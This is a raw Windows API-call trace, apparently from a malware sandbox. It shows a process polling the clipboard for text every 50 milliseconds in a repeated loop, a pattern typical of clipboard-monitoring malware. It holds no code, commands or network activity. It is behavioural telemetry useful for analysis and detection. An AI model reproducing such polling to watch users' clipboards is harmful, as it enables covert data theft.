[0249.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefb7496e, dwHighDateTime=0x1d96e12))
[0249.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.572] GetClipboardData (uFormat=0x1) returned 0x0
[0249.572] CloseClipboard () returned 1
[0249.572] Sleep (dwMilliseconds=0x32)
[0249.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefb9abd2, dwHighDateTime=0x1d96e12))
[0249.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.586] GetClipboardData (uFormat=0x1) returned 0x0
[0249.586] CloseClipboard () returned 1
[0249.586] Sleep (dwMilliseconds=0x32)
[0249.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefbc0e22, dwHighDateTime=0x1d96e12))
[0249.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.601] GetClipboardData (uFormat=0x1) returned 0x0
[0249.602] CloseClipboard () returned 1
[0249.602] Sleep (dwMilliseconds=0x32)
[0249.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefbe707c, dwHighDateTime=0x1d96e12))
[0249.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.618] GetClipboardData (uFormat=0x1) returned 0x0
[0249.618] CloseClipboard () returned 1
[0249.618] Sleep (dwMilliseconds=0x32)
[0249.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefc0d2e6, dwHighDateTime=0x1d96e12))
[0249.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.633] GetClipboardData (uFormat=0x1) returned 0x0
[0249.633] CloseClipboard () returned 1
[0249.633] Sleep (dwMilliseconds=0x32)
[0249.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefc33545, dwHighDateTime=0x1d96e12))
[0249.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.648] GetClipboardData (uFormat=0x1) returned 0x0
[0249.648] CloseClipboard () returned 1
[0249.648] Sleep (dwMilliseconds=0x32)
[0249.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefc59790, dwHighDateTime=0x1d96e12))
[0249.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.671] GetClipboardData (uFormat=0x1) returned 0x0
[0249.671] CloseClipboard () returned 1
[0249.671] Sleep (dwMilliseconds=0x32)
[0249.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefc7f9fc, dwHighDateTime=0x1d96e12))
[0249.681] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.681] GetClipboardData (uFormat=0x1) returned 0x0
[0249.681] CloseClipboard () returned 1
[0249.682] Sleep (dwMilliseconds=0x32)
[0249.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefca5c4a, dwHighDateTime=0x1d96e12))
[0249.695] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.695] GetClipboardData (uFormat=0x1) returned 0x0
[0249.695] CloseClipboard () returned 1
[0249.695] Sleep (dwMilliseconds=0x32)
[0249.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefccbead, dwHighDateTime=0x1d96e12))
[0249.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.711] GetClipboardData (uFormat=0x1) returned 0x0
[0249.711] CloseClipboard () returned 1
[0249.711] Sleep (dwMilliseconds=0x32)
[0249.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefcf20f1, dwHighDateTime=0x1d96e12))
[0249.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.726] GetClipboardData (uFormat=0x1) returned 0x0
[0249.726] CloseClipboard () returned 1
[0249.726] Sleep (dwMilliseconds=0x32)
[0249.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefd18351, dwHighDateTime=0x1d96e12))
[0249.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.743] GetClipboardData (uFormat=0x1) returned 0x0
[0249.743] CloseClipboard () returned 1
[0249.744] Sleep (dwMilliseconds=0x32)
[0249.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefd3e5a8, dwHighDateTime=0x1d96e12))
[0249.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.758] GetClipboardData (uFormat=0x1) returned 0x0
[0249.758] CloseClipboard () returned 1
[0249.758] Sleep (dwMilliseconds=0x32)
[0249.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefd64808, dwHighDateTime=0x1d96e12))
[0249.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.773] GetClipboardData (uFormat=0x1) returned 0x0
[0249.773] CloseClipboard () returned 1
[0249.773] Sleep (dwMilliseconds=0x32)
[0249.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefd8aa5b, dwHighDateTime=0x1d96e12))
[0249.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.790] GetClipboardData (uFormat=0x1) returned 0x0
[0249.790] CloseClipboard () returned 1
[0249.790] Sleep (dwMilliseconds=0x32)
[0249.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefdb0cbd, dwHighDateTime=0x1d96e12))
[0249.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.804] GetClipboardData (uFormat=0x1) returned 0x0
[0249.804] CloseClipboard () returned 1
[0249.805] Sleep (dwMilliseconds=0x32)
[0249.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefdd6f22, dwHighDateTime=0x1d96e12))
[0249.822] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.822] GetClipboardData (uFormat=0x1) returned 0x0
[0249.822] CloseClipboard () returned 1
[0249.822] Sleep (dwMilliseconds=0x32)
[0249.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefdfd164, dwHighDateTime=0x1d96e12))
[0249.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.836] GetClipboardData (uFormat=0x1) returned 0x0
[0249.836] CloseClipboard () returned 1
[0249.836] Sleep (dwMilliseconds=0x32)
[0249.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefe233c7, dwHighDateTime=0x1d96e12))
[0249.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.851] GetClipboardData (uFormat=0x1) returned 0x0
[0249.851] CloseClipboard () returned 1
[0249.851] Sleep (dwMilliseconds=0x32)
[0249.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefe49616, dwHighDateTime=0x1d96e12))
[0249.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.868] GetClipboardData (uFormat=0x1) returned 0x0
[0249.868] CloseClipboard () returned 1
[0249.869] Sleep (dwMilliseconds=0x32)
[0249.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefe6f87c, dwHighDateTime=0x1d96e12))
[0249.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.882] GetClipboardData (uFormat=0x1) returned 0x0
[0249.883] CloseClipboard () returned 1
[0249.883] Sleep (dwMilliseconds=0x32)
[0249.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefe95acd, dwHighDateTime=0x1d96e12))
[0249.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.898] GetClipboardData (uFormat=0x1) returned 0x0
[0249.898] CloseClipboard () returned 1
[0249.898] Sleep (dwMilliseconds=0x32)
[0249.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefebbd2e, dwHighDateTime=0x1d96e12))
[0249.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.915] GetClipboardData (uFormat=0x1) returned 0x0
[0249.915] CloseClipboard () returned 1
[0249.915] Sleep (dwMilliseconds=0x32)
[0249.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xefee1f88, dwHighDateTime=0x1d96e12))
[0249.930] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.930] GetClipboardData (uFormat=0x1) returned 0x0
[0249.930] CloseClipboard () returned 1
[0249.930] Sleep (dwMilliseconds=0x32)
[0249.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeff081df, dwHighDateTime=0x1d96e12))
[0249.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.946] GetClipboardData (uFormat=0x1) returned 0x0
[0249.946] CloseClipboard () returned 1
[0249.947] Sleep (dwMilliseconds=0x32)
[0249.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeff2e436, dwHighDateTime=0x1d96e12))
[0249.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.961] GetClipboardData (uFormat=0x1) returned 0x0
[0249.961] CloseClipboard () returned 1
[0249.961] Sleep (dwMilliseconds=0x32)
[0249.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeff54693, dwHighDateTime=0x1d96e12))
[0249.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.976] GetClipboardData (uFormat=0x1) returned 0x0
[0249.976] CloseClipboard () returned 1
[0249.976] Sleep (dwMilliseconds=0x32)
[0249.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeff7a8f5, dwHighDateTime=0x1d96e12))
[0249.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0249.993] GetClipboardData (uFormat=0x1) returned 0x0
[0249.993] CloseClipboard () returned 1
[0249.993] Sleep (dwMilliseconds=0x32)
[0250.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeffa0b4b, dwHighDateTime=0x1d96e12))
[0250.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.007] GetClipboardData (uFormat=0x1) returned 0x0
[0250.008] CloseClipboard () returned 1
[0250.008] Sleep (dwMilliseconds=0x32)
[0250.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeffc6da7, dwHighDateTime=0x1d96e12))
[0250.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.023] GetClipboardData (uFormat=0x1) returned 0x0
[0250.023] CloseClipboard () returned 1
[0250.024] Sleep (dwMilliseconds=0x32)
[0250.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeffed006, dwHighDateTime=0x1d96e12))
[0250.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.040] GetClipboardData (uFormat=0x1) returned 0x0
[0250.041] CloseClipboard () returned 1
[0250.041] Sleep (dwMilliseconds=0x32)
[0250.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0013252, dwHighDateTime=0x1d96e12))
[0250.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.054] GetClipboardData (uFormat=0x1) returned 0x0
[0250.054] CloseClipboard () returned 1
[0250.054] Sleep (dwMilliseconds=0x32)
[0250.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf00394b1, dwHighDateTime=0x1d96e12))
[0250.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.071] GetClipboardData (uFormat=0x1) returned 0x0
[0250.072] CloseClipboard () returned 1
[0250.072] Sleep (dwMilliseconds=0x32)
[0250.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf005f70e, dwHighDateTime=0x1d96e12))
[0250.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.086] GetClipboardData (uFormat=0x1) returned 0x0
[0250.086] CloseClipboard () returned 1
[0250.086] Sleep (dwMilliseconds=0x32)
[0250.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0085964, dwHighDateTime=0x1d96e12))
[0250.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.101] GetClipboardData (uFormat=0x1) returned 0x0
[0250.101] CloseClipboard () returned 1
[0250.101] Sleep (dwMilliseconds=0x32)
[0250.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf00abbbf, dwHighDateTime=0x1d96e12))
[0250.117] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.117] GetClipboardData (uFormat=0x1) returned 0x0
[0250.117] CloseClipboard () returned 1
[0250.117] Sleep (dwMilliseconds=0x32)
[0250.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf00d1e1c, dwHighDateTime=0x1d96e12))
[0250.133] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.133] GetClipboardData (uFormat=0x1) returned 0x0
[0250.133] CloseClipboard () returned 1
[0250.133] Sleep (dwMilliseconds=0x32)
[0250.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf00f8071, dwHighDateTime=0x1d96e12))
[0250.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.148] GetClipboardData (uFormat=0x1) returned 0x0
[0250.148] CloseClipboard () returned 1
[0250.148] Sleep (dwMilliseconds=0x32)
[0250.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf011e2c9, dwHighDateTime=0x1d96e12))
[0250.164] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.164] GetClipboardData (uFormat=0x1) returned 0x0
[0250.164] CloseClipboard () returned 1
[0250.164] Sleep (dwMilliseconds=0x32)
[0250.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0144547, dwHighDateTime=0x1d96e12))
[0250.180] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.180] GetClipboardData (uFormat=0x1) returned 0x0
[0250.180] CloseClipboard () returned 1
[0250.180] Sleep (dwMilliseconds=0x32)
[0250.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf016a795, dwHighDateTime=0x1d96e12))
[0250.195] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.195] GetClipboardData (uFormat=0x1) returned 0x0
[0250.195] CloseClipboard () returned 1
[0250.195] Sleep (dwMilliseconds=0x32)
[0250.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0190bb6, dwHighDateTime=0x1d96e12))
[0250.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.211] GetClipboardData (uFormat=0x1) returned 0x0
[0250.211] CloseClipboard () returned 1
[0250.211] Sleep (dwMilliseconds=0x32)
[0250.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf01b6c56, dwHighDateTime=0x1d96e12))
[0250.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.227] GetClipboardData (uFormat=0x1) returned 0x0
[0250.227] CloseClipboard () returned 1
[0250.227] Sleep (dwMilliseconds=0x32)
[0250.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf01dced8, dwHighDateTime=0x1d96e12))
[0250.242] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.242] GetClipboardData (uFormat=0x1) returned 0x0
[0250.242] CloseClipboard () returned 1
[0250.242] Sleep (dwMilliseconds=0x32)
[0250.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0203146, dwHighDateTime=0x1d96e12))
[0250.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.258] GetClipboardData (uFormat=0x1) returned 0x0
[0250.258] CloseClipboard () returned 1
[0250.258] Sleep (dwMilliseconds=0x32)
[0250.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf02293b9, dwHighDateTime=0x1d96e12))
[0250.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.273] GetClipboardData (uFormat=0x1) returned 0x0
[0250.273] CloseClipboard () returned 1
[0250.273] Sleep (dwMilliseconds=0x32)
[0250.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf024f611, dwHighDateTime=0x1d96e12))
[0250.289] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.289] GetClipboardData (uFormat=0x1) returned 0x0
[0250.289] CloseClipboard () returned 1
[0250.289] Sleep (dwMilliseconds=0x32)
[0250.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf027585e, dwHighDateTime=0x1d96e12))
[0250.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.304] GetClipboardData (uFormat=0x1) returned 0x0
[0250.304] CloseClipboard () returned 1
[0250.304] Sleep (dwMilliseconds=0x32)
[0250.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf029baa9, dwHighDateTime=0x1d96e12))
[0250.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.320] GetClipboardData (uFormat=0x1) returned 0x0
[0250.320] CloseClipboard () returned 1
[0250.320] Sleep (dwMilliseconds=0x32)
[0250.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf02c1d01, dwHighDateTime=0x1d96e12))
[0250.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.336] GetClipboardData (uFormat=0x1) returned 0x0
[0250.336] CloseClipboard () returned 1
[0250.336] Sleep (dwMilliseconds=0x32)
[0250.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf02e7f1e, dwHighDateTime=0x1d96e12))
[0250.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.351] GetClipboardData (uFormat=0x1) returned 0x0
[0250.351] CloseClipboard () returned 1
[0250.351] Sleep (dwMilliseconds=0x32)
[0250.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf030e1fa, dwHighDateTime=0x1d96e12))
[0250.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.367] GetClipboardData (uFormat=0x1) returned 0x0
[0250.367] CloseClipboard () returned 1
[0250.367] Sleep (dwMilliseconds=0x32)
[0250.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0334457, dwHighDateTime=0x1d96e12))
[0250.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.383] GetClipboardData (uFormat=0x1) returned 0x0
[0250.383] CloseClipboard () returned 1
[0250.383] Sleep (dwMilliseconds=0x32)
[0250.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf035a67b, dwHighDateTime=0x1d96e12))
[0250.400] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.400] GetClipboardData (uFormat=0x1) returned 0x0
[0250.400] CloseClipboard () returned 1
[0250.400] Sleep (dwMilliseconds=0x32)
[0250.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf038086e, dwHighDateTime=0x1d96e12))
[0250.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.415] GetClipboardData (uFormat=0x1) returned 0x0
[0250.415] CloseClipboard () returned 1
[0250.415] Sleep (dwMilliseconds=0x32)
[0250.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf03a6ad6, dwHighDateTime=0x1d96e12))
[0250.433] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.433] GetClipboardData (uFormat=0x1) returned 0x0
[0250.433] CloseClipboard () returned 1
[0250.434] Sleep (dwMilliseconds=0x32)
[0250.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf03ccd27, dwHighDateTime=0x1d96e12))
[0250.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.446] GetClipboardData (uFormat=0x1) returned 0x0
[0250.446] CloseClipboard () returned 1
[0250.447] Sleep (dwMilliseconds=0x32)
[0250.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf03f2f85, dwHighDateTime=0x1d96e12))
[0250.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.461] GetClipboardData (uFormat=0x1) returned 0x0
[0250.461] CloseClipboard () returned 1
[0250.461] Sleep (dwMilliseconds=0x32)
[0250.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf04191d4, dwHighDateTime=0x1d96e12))
[0250.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.476] GetClipboardData (uFormat=0x1) returned 0x0
[0250.476] CloseClipboard () returned 1
[0250.477] Sleep (dwMilliseconds=0x32)
[0250.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf043f42f, dwHighDateTime=0x1d96e12))
[0250.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.493] GetClipboardData (uFormat=0x1) returned 0x0
[0250.493] CloseClipboard () returned 1
[0250.493] Sleep (dwMilliseconds=0x32)
[0250.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0465689, dwHighDateTime=0x1d96e12))
[0250.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.507] GetClipboardData (uFormat=0x1) returned 0x0
[0250.508] CloseClipboard () returned 1
[0250.508] Sleep (dwMilliseconds=0x32)
[0250.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf048b8e9, dwHighDateTime=0x1d96e12))
[0250.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.523] GetClipboardData (uFormat=0x1) returned 0x0
[0250.523] CloseClipboard () returned 1
[0250.523] Sleep (dwMilliseconds=0x32)
[0250.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf04b1b40, dwHighDateTime=0x1d96e12))
[0250.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.540] GetClipboardData (uFormat=0x1) returned 0x0
[0250.540] CloseClipboard () returned 1
[0250.540] Sleep (dwMilliseconds=0x32)
[0250.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf04d7d94, dwHighDateTime=0x1d96e12))
[0250.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.554] GetClipboardData (uFormat=0x1) returned 0x0
[0250.554] CloseClipboard () returned 1
[0250.555] Sleep (dwMilliseconds=0x32)
[0250.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf04fdff7, dwHighDateTime=0x1d96e12))
[0250.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.571] GetClipboardData (uFormat=0x1) returned 0x0
[0250.571] CloseClipboard () returned 1
[0250.571] Sleep (dwMilliseconds=0x32)
[0250.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0524250, dwHighDateTime=0x1d96e12))
[0250.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.586] GetClipboardData (uFormat=0x1) returned 0x0
[0250.586] CloseClipboard () returned 1
[0250.586] Sleep (dwMilliseconds=0x32)
[0250.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf054a4a6, dwHighDateTime=0x1d96e12))
[0250.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.601] GetClipboardData (uFormat=0x1) returned 0x0
[0250.601] CloseClipboard () returned 1
[0250.602] Sleep (dwMilliseconds=0x32)
[0250.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf05706fc, dwHighDateTime=0x1d96e12))
[0250.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.618] GetClipboardData (uFormat=0x1) returned 0x0
[0250.618] CloseClipboard () returned 1
[0250.618] Sleep (dwMilliseconds=0x32)
[0250.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf0596963, dwHighDateTime=0x1d96e12))
[0250.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.633] GetClipboardData (uFormat=0x1) returned 0x0
[0250.633] CloseClipboard () returned 1
[0250.633] Sleep (dwMilliseconds=0x32)
[0250.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf05bcbbc, dwHighDateTime=0x1d96e12))
[0250.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0250.648] GetClipboardData (uFormat=0x1) returned 0x0
[0250.648] CloseClipboard () returned 1
[0250.648] Sleep (dwMilliseconds=0x32)
[0250.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf05e2e10, dwHighDateTime=0x1d96e12))
